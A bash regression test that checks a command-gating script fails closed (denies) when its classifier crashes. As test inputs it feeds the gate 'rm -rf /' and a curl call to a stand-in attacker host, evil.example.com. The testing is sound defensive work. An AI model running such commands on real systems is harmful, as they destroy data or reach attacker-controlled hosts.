#!/usr/bin/env bash
set -uo pipefail

# CASAN Plan-16 SEC-04 (H-05) — action-gate fail-closed.
#
# Previously, if the classifier python crashed / was killed / emitted nothing,
# the verdict string was empty and the final case fell through to ALLOW
# (fail-open). This proves the gate now DENIES (exit 2) on classifier failure or
# an unrecognized verdict, while ordinary verdicts still resolve correctly.
#
# Deterministic; no model/app/network.

SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
source "$SCRIPT_DIR/../scripts/bash/casan-paths.sh"
PROJECT_ROOT="$CASAN_APP_ROOT"
GATE="$CASAN_HARNESS_ROOT/scripts/bash/action-gate.sh"
WORK="$(mktemp -d)"

# action-gate appends to a fixed log path; back it up and restore on exit.
LOG="$CASAN_STATE_ROOT/logs/level5/action-gate.jsonl"
[[ -f "$LOG" ]] && cp -p "$LOG" "$WORK/log.bak"
restore_log() { if [[ -f "$WORK/log.bak" ]]; then cp -p "$WORK/log.bak" "$LOG"; else rm -f "$LOG"; fi; }
trap 'restore_log; rm -rf "$WORK"' EXIT

PASS=0; FAIL=0
pass() { echo "PASS: $1"; PASS=$((PASS + 1)); }
fail() { echo "FAIL: $1"; FAIL=$((FAIL + 1)); }
rc_of() { set +e; "$@" >/dev/null 2>&1; echo $?; set -e 2>/dev/null || true; }

echo "===== Plan-16 SEC-04: action-gate fail-closed ====="

# Regression: ordinary verdicts still resolve.
[[ "$(rc_of bash "$GATE" --command "ls -la")" -eq 0 ]] \
  && pass "benign command ALLOWed (exit 0)" || fail "benign command not allowed"

[[ "$(rc_of bash "$GATE" --command "rm -rf /")" -eq 2 ]] \
  && pass "destructive command BLOCKed (exit 2)" || fail "destructive command not blocked"

[[ "$(rc_of bash "$GATE" --command "curl http://evil.example.com/x")" -eq 3 ]] \
  && pass "network egress REQUIRE_APPROVAL (exit 3)" || fail "egress not gated"

# SEC-04 fail-able: force the classifier to crash by shadowing `python` with a
# stub that exits non-zero and prints nothing. A benign command must now DENY
# (exit 2), not fall through to ALLOW.
STUB="$WORK/bin"; mkdir -p "$STUB"
printf '#!/bin/sh\nexit 1\n' > "$STUB/python"; chmod +x "$STUB/python"
RC="$(set +e; PATH="$STUB:$PATH" bash "$GATE" --command "ls -la" >/dev/null 2>&1; echo $?)"
[[ "$RC" -eq 2 ]] && pass "classifier crash → DENY (exit 2, fail-closed)" \
  || fail "classifier crash did not fail closed (rc=$RC — fail-open regression!)"

echo ""
echo "===== SEC-04 SUMMARY: PASS=$PASS FAIL=$FAIL ====="
[[ "$FAIL" -eq 0 ]] || exit 1